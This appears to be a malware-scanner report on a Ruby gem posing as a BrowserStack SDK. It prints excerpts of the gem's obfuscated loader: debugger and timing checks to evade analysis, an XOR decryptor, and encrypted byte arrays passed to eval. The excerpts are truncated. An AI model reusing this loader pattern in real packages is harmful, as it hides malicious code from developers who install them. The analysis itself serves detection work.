Hostile 100% ruby 32,462 installs Download

browserstack-ruby-sdk 0.13.2

obfuscated eval payload, anti-analysis

“A comprehensive Ruby SDK for BrowserStack that provides automation capabilities and enhanced testing features for web/app applications.”

Ruby byte-array XOR Zlib eval loaderRuby anti-analysis wrapper around decoded eval
SHA-256fb4352b6334110215cd43195ae477587e5b209f4bc89a31e4e503ae58aee1ca7

Evidence

Ruby anti-analysis wrapper around decoded eval browserstack_plugin.rb · lines 1–24
1#!/usr/bin/env ruby
2# frozen_string_literal: true
3
4require 'base64'
5require 'zlib'
6require 'digest'
7
8# === ANTI-ANALYSIS PROTECTIONS ===
9_e94ce42 = lambda do
10 # Analyzer detection
11 if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12 warn "WARNING: analysis environment detected"
13 # Optional: exit(1) for stronger protection
14 end
15
16 # Quick execution speed check
17 _xce9267 = Time.now
18 100.times { |_| Math.sqrt(_) }
19 if (Time.now - _xce9267) > 0.1 # Adjust threshold as needed
20 warn "WARNING: Execution too slow - possible analysis environment"
21 end
22
23 # Return environment fingerprint
24 [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16 …
Ruby byte-array XOR Zlib eval loader browserstack_plugin.rb · lines 30–63
30:20… RYPTOR ===
31_l08c263 = ->(_c483f2e, _q40a23c) do
32 _e154831 = []
33 _c483f2e.each_with_index do |byte, idx|
34 _e154831 << (byte ^ _q40a23c[idx % _q40a23c.length])
35 end
36 _e154831
⋯4 lines
41_tfce1df = lambda do |_g37ea59, _u8b1842, _v798034, _b16941c|
42 # Verify checksum before any decryption
43 current_hash = Digest::SHA256.hexdigest(_g37ea59.pack('C*'))
44 if current_hash != _b16941c
45 raise "SECURITY ERROR: File integrity check failed"
46 end
47 true
48end
49
50# === EMBEDDED ENCRYPTED DATA ===
51_g37ea59 = [112, 160, 246, 152, 15, 111, 15, 186, 39, 26, 252, 197, 221, 227, 231, 193, 57, 90, 152, 48, 192, 78, 37, 61, 214, 49, 201, 196, 114, 118, 66, 70, 209, 194, 251, 166, 27, 209, 64, 190, 162, 0, 223, 122, 110, 196, 133, 254, 103, 1, 232, 250, 166, 16, 239, 163, 156, 169, 182, 128, 79, 60, 219, 194, 150, 194, 17, 29, 43, 162, 6, 48, 211, 254, 25, 223, 8, 210, 45, 22, 14, 85, 157, 110, 67, 226, 78, 253, 228, 53, 14, 116, 143, 144, 55, 195, 215, 72, 190, 196, 163, 6, 140, 212, 41, 246, 229, 234, 185, 152, 172, 14, 150, 158, 116, 168, 92, 237, 229, 176, 65, 166, 113, 130, 153, 101, 206, 236, 162, 160, 129, 232, 74, 1, 49, 71, 192, 60, 235, 208, 103, 5, 106, 219, 14, 246, 133, 86, 107, 129, 54, 42, 109, 67, 98, 101, 61, 237, 11, 166, 126, 95, 49, 222, 207, 72, 183, 102, 173, 68, 93, 140, 63, 102, 8, 231, 68, 150, 64, 144, 54, 37, 159, 68, 181, 10, 15, 71, 62, 95, 35, 180, 168, 12, 233, 131, 28, 247, 45, 164, 58, 170, 185, 16, 167, 214, 240, 38, 207, 254, 70, 119, 180, 248, 133, 235, 227, 7, 146, 207, 112, 90, 170, 207, 93, 20, 26, 186, 153, 70, 75, 141, 246, 203, 120, 201, 19, 62, 125, 79, 149, 62, 239, 28, 81, 197, 55, 230, 85, 83, 196, 92, 156, 156, 188, 26, 66, 170, 253, 50, 60, 30, 126, 251, 150, 83, 161, 42, 40, 249, 174, 164, 56, 219, 41, 135, 155, 234, 156, 194, 128, 213, 129, 222, 101, 11, 105, 28, 192, 182, 160, 67, 11, 255, 242, 184, 155, 156, 204, 137, 118, 66, 140, 234, 248, 186, 1, 251, 69, 197, 223, 153, 236, 9, 248, 113, 191, 110, 166, 13, 84, 124, 24, 164, 248, 101, 133, 237, 167, 186, 86, 124, 197, 192, 48, 9, 118, 230, 1, 159, 150, 123, 157, 122, 197, 24, 194, 11, 186, 27, 68, 174, 95, 133, 133, 254, 120, 208, 105, 136, 53, 69, 158, 75, 117, 192, 111, 105, 225, 1, 97, 130, 46, 204, 30, 81, 247, 191, 121, 17, 196, 182, 205, 165, 152, 55, 193, 124, 212, 38, 111, 95, 150, 170, 13, 251, 68, 10, 39, 122, 191, 148, 36, 3, 80, 32, 255, 49, 51, 127, 95, 105, 230, 127, 105, 155, 195, 188, 164, 233, 155, 46, 92, 85, 163, 228, 4, 75, 10, 179, 216, 6, 153 …
52
53# === EMBEDDED KEYS (obfuscated) ===
⋯10 lines
English function-word token "the" browserstack_plugin.rb · lines 71–77
71:15… egrity verification failed"
72 end
73
74 # 2. Start with the encrypted data
75 _hfcb870 = _g37ea59.dup
76
77 # 3. Decryption loop (must reverse encryption steps …
Ruby anti-analysis wrapper around decoded eval browserstack_sdk.rb · lines 1–24
1#!/usr/bin/env ruby
2# frozen_string_literal: true
3
4require 'base64'
5require 'zlib'
6require 'digest'
7
8# === ANTI-ANALYSIS PROTECTIONS ===
9_w1f716f = lambda do
10 # Analyzer detection
11 if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12 warn "WARNING: analysis environment detected"
13 # Optional: exit(1) for stronger protection
14 end
15
16 # Quick execution speed check
17 _z9d87b1 = Time.now
18 100.times { |_| Math.sqrt(_) }
19 if (Time.now - _z9d87b1) > 0.1 # Adjust threshold as needed
20 warn "WARNING: Execution too slow - possible analysis environment"
21 end
22
23 # Return environment fingerprint
24 [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16 …
Ruby byte-array XOR Zlib eval loader browserstack_sdk.rb · lines 30–63
30:20… RYPTOR ===
31_v17586f = ->(_k672fb5, _hfdc13f) do
32 _la95bc4 = []
33 _k672fb5.each_with_index do |byte, idx|
34 _la95bc4 << (byte ^ _hfdc13f[idx % _hfdc13f.length])
35 end
36 _la95bc4
⋯4 lines
41_uf09bf5 = lambda do |_u26cd1d, _j47adc5, _c135a40, _df6b023|
42 # Verify checksum before any decryption
43 current_hash = Digest::SHA256.hexdigest(_u26cd1d.pack('C*'))
44 if current_hash != _df6b023
45 raise "SECURITY ERROR: File integrity check failed"
46 end
47 true
48end
49
50# === EMBEDDED ENCRYPTED DATA ===
51_u26cd1d = [196, 78, 56, 239, 184, 213, 194, 251, 84, 18, 29, 135, 194, 232, 43, 129, 158, 245, 102, 237, 39, 121, 83, 27, 90, 32, 66, 187, 157, 221, 211, 153, 150, 15, 13, 66, 165, 164, 104, 215, 53, 126, 180, 124, 87, 202, 187, 212, 114, 194, 145, 217, 79, 70, 34, 84, 169, 195, 122, 26, 229, 98, 154, 31, 236, 113, 67, 101, 27, 221, 202, 47, 6, 222, 63, 41, 84, 159, 47, 93, 251, 165, 233, 89, 228, 44, 216, 200, 176, 163, 176, 221, 44, 176, 221, 160, 236, 66, 118, 245, 228, 105, 89, 53, 109, 245, 145, 175, 231, 6, 100, 226, 213, 199, 86, 179, 44, 182, 144, 42, 243, 145, 24, 237, 75, 178, 64, 90, 121, 68, 218, 177, 108, 254, 14, 105, 179, 58, 170, 120, 152, 174, 150, 67, 109, 218, 91, 37, 159, 102, 63, 244, 105, 20, 84, 154, 246, 108, 56, 160, 210, 248, 131, 97, 80, 126, 165, 35, 150, 64, 94, 240, 22, 208, 59, 162, 124, 144, 106, 87, 14, 46, 121, 169, 72, 103, 12, 9, 196, 126, 236, 4, 182, 114, 20, 189, 220, 125, 1, 110, 43, 204, 173, 24, 205, 23, 30, 212, 233, 111, 117, 196, 65, 50, 229, 140, 230, 242, 13, 151, 129, 90, 240, 201, 88, 187, 150, 77, 113, 108, 48, 175, 165, 168, 106, 124, 16, 152, 48, 45, 41, 96, 252, 252, 11, 57, 170, 7, 128, 233, 248, 35, 2, 57, 88, 9, 150, 226, 140, 29, 142, 90, 124, 73, 72, 142, 26, 6, 235, 20, 7, 6, 47, 59, 34, 1, 76, 134, 237, 182, 11, 239, 12, 34, 146, 198, 82, 210, 50, 46, 144, 180, 237, 103, 36, 107, 63, 129, 235, 96, 50, 150, 71, 52, 19, 191, 132, 179, 181, 5, 111, 120, 223, 231, 62, 220, 122, 56, 86, 3, 23, 207, 161, 210, 35, 229, 96, 110, 48, 245, 37, 46, 174, 4, 197, 146, 249, 201, 112, 128, 226, 77, 103, 86, 89, 55, 1, 1, 123, 226, 197, 65, 242, 122, 185, 157, 190, 93, 39, 165, 167, 58, 95, 236, 72, 116, 177, 204, 71, 184, 211, 102, 13, 80, 236, 116, 136, 151, 89, 9, 43, 169, 50, 29, 39, 106, 108, 29, 197, 21, 141, 54, 149, 241, 242, 208, 184, 50, 122, 236, 151, 141, 44, 162, 76, 30, 36, 77, 45, 239, 114, 140, 81, 194, 97, 155, 91, 192, 73, 13, 71, 3, 248, 65, 81, 166, 8, 18, 224, 124, 69, 6, 248, 138, 95, 176, 22, 103, 2 …
52
53# === EMBEDDED KEYS (obfuscated) ===
⋯10 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.